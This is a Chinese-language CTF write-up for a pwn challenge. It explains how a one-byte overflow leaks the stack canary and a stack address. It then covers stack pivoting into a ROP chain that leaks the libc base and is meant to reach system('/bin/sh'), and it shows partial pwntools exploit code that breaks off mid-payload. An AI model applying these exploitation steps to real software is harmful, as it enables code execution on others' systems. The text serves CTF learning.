0x00背景
这次比赛中的一道pwn题,主要考察了栈迁移和泄露canary。之前没有接触过栈迁移,所以当时没有做出来(好多人都做出来了,捂脸)。
没办法,菜鸡只能赛后复盘。注:虚拟机环境使用的动态库为kali的libc-2.30.so
0x01源码分析
主要代码逻辑如下,main函数之后可以进行两次输入,然后将输入的字符串打印出来。第一次输入可以溢出一个字节,用于泄露canary和栈地址(用于之后的栈迁移),第二次输入可以溢出到返回地址,修改程序流程完成栈迁移,从而执行ROP链。
0x02 exp构造
需要调用system函数,源码中没有现成的,所以需要泄露libc基址,因此我们要重复进入两次main函数,第一次用来泄露libc基地址,第二次用来执行system("/bin/sh")。每一次的利用,都需要泄露canary和栈地址。
第一次的exp:
puts_plt_addr = 0x4005C0
read_got_addr = 0x601038
pop_rdi = 0x400923
leave = 0x400879
main_addr = 0x40087B
sh.recvuntil('>')
payload = 'a'*88+'\n'
sh.send(payload)
sh.recv(89)
canary = u64('\x00'+sh.recv(7))
success(hex(canary))
new_epb = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00'))-112
success(hex(new_epb))
sh.recvuntil('>')
payload = p64(0)+p64(pop_rdi)+p64(read_got_addr)+p64(puts_plt_addr)+p64(main_addr)
payload += 'a'